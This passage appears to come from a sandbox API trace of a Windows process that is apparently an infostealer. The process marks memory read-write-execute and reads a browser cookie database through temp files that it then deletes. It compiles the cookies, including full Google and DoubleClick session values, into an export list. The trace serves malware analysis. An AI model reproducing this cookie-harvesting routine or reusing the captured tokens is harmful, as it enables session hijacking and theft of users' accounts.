lpWideCharStr="TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0259a0, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498820741@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=8, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="gpServer820741@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 8 [0163.729] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=8, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="java.comrver820741@TRUE.java.commepage)|utmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 8 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1c90, cbMultiByte=19, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".oracle.112.2o7.netmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 19 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.oracle.112.2o7.netmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1640, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.oracle.112.2o7.netmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.oracle.112.2o7.netmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1561890942@TRUE.oracle.112.2o7.netmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024530, cbMultiByte=4, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="s_vi1561890942@TRUE.oracle.112.2o7.netmccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd06efc, cbMultiByte=44, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="[CS]v1|2CAB14BF85033F7A-400011838004D995[CE]ccn=(direct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 44 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1ff4, cbMultiByte=29, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr="prefmgr-cookie.truste-svc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 29 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="FALSErefmgr-cookie.truste-svc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.730] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2134, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@FALSErefmgr-cookie.truste-svc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@FALSErefmgr-cookie.truste-svc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498818973@FALSErefmgr-cookie.truste-svc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=15, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="cookie_3rdparty@FALSErefmgr-cookie.truste-svc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 15 [0163.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1a78, cbMultiByte=7, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="enabledkie_3rdparty@FALSErefmgr-cookie.truste-svc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 7 [0163.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd0714c, cbMultiByte=23, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr="consent-pref.truste.comvc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 23 [0163.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="FALSEonsent-pref.truste.comvc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcee718, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@FALSEonsent-pref.truste.comvc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@FALSEonsent-pref.truste.comvc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.736] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498818963@FALSEonsent-pref.truste.comvc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="token_test8963@FALSEonsent-pref.truste.comvc.netct)|utmcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.737] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07170, cbMultiByte=59, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="Fri Jun 30 2017 10:35:43 GMT+0000 (Greenwich Standard Time)mcmd=(none)erral|utmcct=/chrome/browser/desktop/index.htmlc1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 59 [0163.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.738] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df1dc | out: lpOverlapped=0x1e7df1dc) returned 1 [0163.738] LockFileEx (in: hFile=0xf4, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df490 | out: lpOverlapped=0x1e7df490) returned 1 [0163.738] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df488 | out: lpOverlapped=0x1e7df488) returned 1 [0163.738] LockFileEx (in: hFile=0xf4, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df490 | out: lpOverlapped=0x1e7df490) returned 1 [0163.738] UnmapViewOfFile (lpBaseAddress=0x70000) returned 1 [0163.738] CloseHandle (hObject=0x674) returned 1 [0163.739] CloseHandle (hObject=0x670) returned 1 [0163.741] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fef50c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.741] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fef50c0, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-shm") returned 70 [0163.741] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-shm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-shm")) returned 0x2020 [0163.742] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-shm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-shm")) returned 1 [0163.743] CloseHandle (hObject=0x66c) returned 1 [0163.743] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.743] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-wal") returned 70 [0163.743] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-wal")) returned 0x2020 [0163.743] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp-wal")) returned 1 [0163.744] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df494 | out: lpOverlapped=0x1e7df494) returned 1 [0163.744] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df494 | out: lpOverlapped=0x1e7df494) returned 0 [0163.744] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df488 | out: lpOverlapped=0x1e7df488) returned 0 [0163.744] GetLastError () returned 0x9e [0163.744] UnlockFileEx (in: hFile=0xf4, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df494 | out: lpOverlapped=0x1e7df494) returned 1 [0163.744] CloseHandle (hObject=0xf4) returned 1 [0163.755] SysReAllocStringLen (in: pbstr=0x1e7df754*=0x0, psz=".google.com\x09TRUE\x09/\x09FALSE\x091514629556\x09NID\x09106=V8uw9OQJQXrz-DRRDrr55LusRCq_dgmfXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6t\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091561890356\x09_ga\x09GA1.2.217341492.1498818357\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091498904756\x09_gid\x09GA1.2.278947976.1498818357\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091498818416\x09_gat_UA-36116321-1\x091\r\n.google.de\x09TRUE\x09/\x09FALSE\x091514629589\x09NID\x09106=fztRXlSKD3rZ0kZekkWaR9HgfSaE1Wz4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnI\r\n.google.de\x09TRUE\x09/\x09FALSE\x092145916799\x09CONSENT\x09WP.261dee\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091498819011\x09__utmt\x091\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091498819011\x09__utmt\x091\r\n.doubleclick.net\x09TRUE\x09/\x09FALSE\x091561890412\x09id\x092259f32a9844007d||t=1498818412|et=730|cs=002213fd48ac87f0e54c8cf85d\r\n.doubleclick.net\x09TRUE\x09/\x09FALSE\x091561890412\x09IDE\x09AHWqTUkGQu7CRKbX8HW-XGVSrOCB8sows2bvTSBGqoP0hpeezPKrSV8LHw\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091561890653\x09__utma\x09246743442.516819799.1498818412.1498818412.1498818412.1\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091498820453\x09__utmb\x09246743442.3.9.1498818653263\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091514586653\x09__utmz\x09246743442.1498818412.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091498819260\x09__utmt\x091\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091561890660\x09__utma\x09246743442.1877047254.1498818412.1498818412.1498818412.1\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091498820460\x09__utmb\x09246743442.2.10.1498818412\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091514586660\x09__utmz\x09246743442.1498818412.1.1.utmcsr=google.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.html\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091561890662\x09__utma\x09246743442.551835800.1498818661.1498818661.1498818661.1\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091498820462\x09__utmb\x09246743442.2.9.1498818662278\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091514586662\x09__utmz\x09246743442.1498818661.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n.java.com\x09TRUE\x09/\x09FALSE\x091501410941\x09s_nr\x091498818941725\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpName\x09javac%3AVerify%3AInstalled_JRE_Homepage\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpChannel\x09javac%3AVerify\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpServer\x09java.com\r\n.oracle.112.2o7.net\x09TRUE\x09/\x09FALSE\x091561890942\x09s_vi\x09[CS]v1|2CAB14BF85033F7A-400011838004D995[CE]\r\nprefmgr-cookie.truste-svc.net\x09FALSE\x09/\x09FALSE\x091498818973\x09cookie_3rdparty\x09enabled\r\nconsent-pref.truste.com\x09FALSE\x09/\x09FALSE\x091498818963\x09token_test\x09Fri Jun 30 2017 10:35:43 GMT+0000 (Greenwich Standard Time)\r\n", len=0xa84 | out: pbstr=0x1e7df754*=".google.com\x09TRUE\x09/\x09FALSE\x091514629556\x09NID\x09106=V8uw9OQJQXrz-DRRDrr55LusRCq_dgmfXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6t\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091561890356\x09_ga\x09GA1.2.217341492.1498818357\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091498904756\x09_gid\x09GA1.2.278947976.1498818357\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091498818416\x09_gat_UA-36116321-1\x091\r\n.google.de\x09TRUE\x09/\x09FALSE\x091514629589\x09NID\x09106=fztRXlSKD3rZ0kZekkWaR9HgfSaE1Wz4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnI\r\n.google.de\x09TRUE\x09/\x09FALSE\x092145916799\x09CONSENT\x09WP.261dee\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091498819011\x09__utmt\x091\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091498819011\x09__utmt\x091\r\n.doubleclick.net\x09TRUE\x09/\x09FALSE\x091561890412\x09id\x092259f32a9844007d||t=1498818412|et=730|cs=002213fd48ac87f0e54c8cf85d\r\n.doubleclick.net\x09TRUE\x09/\x09FALSE\x091561890412\x09IDE\x09AHWqTUkGQu7CRKbX8HW-XGVSrOCB8sows2bvTSBGqoP0hpeezPKrSV8LHw\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091561890653\x09__utma\x09246743442.516819799.1498818412.1498818412.1498818412.1\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091498820453\x09__utmb\x09246743442.3.9.1498818653263\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091514586653\x09__utmz\x09246743442.1498818412.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091498819260\x09__utmt\x091\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091561890660\x09__utma\x09246743442.1877047254.1498818412.1498818412.1498818412.1\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091498820460\x09__utmb\x09246743442.2.10.1498818412\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091514586660\x09__utmz\x09246743442.1498818412.1.1.utmcsr=google.de|utmccn=(referral)|utmcmd=referral|utmcct=/chrome/browser/desktop/index.html\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091561890662\x09__utma\x09246743442.551835800.1498818661.1498818661.1498818661.1\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091498820462\x09__utmb\x09246743442.2.9.1498818662278\r\n.google.de\x09TRUE\x09/chrome/browser/\x09FALSE\x091514586662\x09__utmz\x09246743442.1498818661.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n.java.com\x09TRUE\x09/\x09FALSE\x091501410941\x09s_nr\x091498818941725\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpName\x09javac%3AVerify%3AInstalled_JRE_Homepage\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpChannel\x09javac%3AVerify\r\n.java.com\x09TRUE\x09/\x09FALSE\x091498820741\x09gpServer\x09java.com\r\n.oracle.112.2o7.net\x09TRUE\x09/\x09FALSE\x091561890942\x09s_vi\x09[CS]v1|2CAB14BF85033F7A-400011838004D995[CE]\r\nprefmgr-cookie.truste-svc.net\x09FALSE\x09/\x09FALSE\x091498818973\x09cookie_3rdparty\x09enabled\r\nconsent-pref.truste.com\x09FALSE\x09/\x09FALSE\x091498818963\x09token_test\x09Fri Jun 30 2017 10:35:43 GMT+0000 (Greenwich Standard Time)\r\n") returned 1 [0163.755] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp")) returned 1 [0163.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.761] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr=".google.com\x09TRUE\x09/\x09FALSE\x091514629556\x09NID\x09106=V8uw9OQJQXrz-DRRDrr55LusRCq_dgmfXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6t\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091561890356\x09_ga\x09GA1.2.217341492.1498818357\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091498904756\x09_gid\x09GA1.2.278947976.1498818357\r\n.mozilla.org\x09TRUE\x09/\x09FALSE\x091498818416\x09_gat_UA-36116321-1\x091\r\n.google.de\x09TRUE\x09/\x09FALSE\x091514629589\x09NID\x09106=fztRXlSKD3rZ0kZekkWaR9HgfSaE1Wz4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnI\r\n.google.de\x09TRUE\x09/\x09FALSE\x092145916799\x09CONSENT\x09WP.261dee\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091498819011\x09__utmt\x091\r\n.google.de\x09TRUE\x09/intl/de/chrome/browser/privacy/\x09FALSE\x091498819011\x09__utmt\x091\r\n.doubleclick.net\x09TRUE\x09/\x09FALSE\x091561890412\x09id\x092259f32a9844007d||t=1498818412|et=730|cs=002213fd48ac87f0e54c8cf85d\r\n.doubleclick.net\x09TRUE\x09/\x09FALSE\x091561890412\x09IDE\x09AHWqTUkGQu7CRKbX8HW-XGVSrOCB8sows2bvTSBGqoP0hpeezPKrSV8LHw\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091561890653\x09__utma\x09246743442.516819799.1498818412.1498818412.1498818412.1\r\n.google.de\x09TRUE\x09/chrome/browser/desktop/\x09FALSE\x091498820453\x09__utmb\x09246743442.3.9.1498818653263\r\n.google.d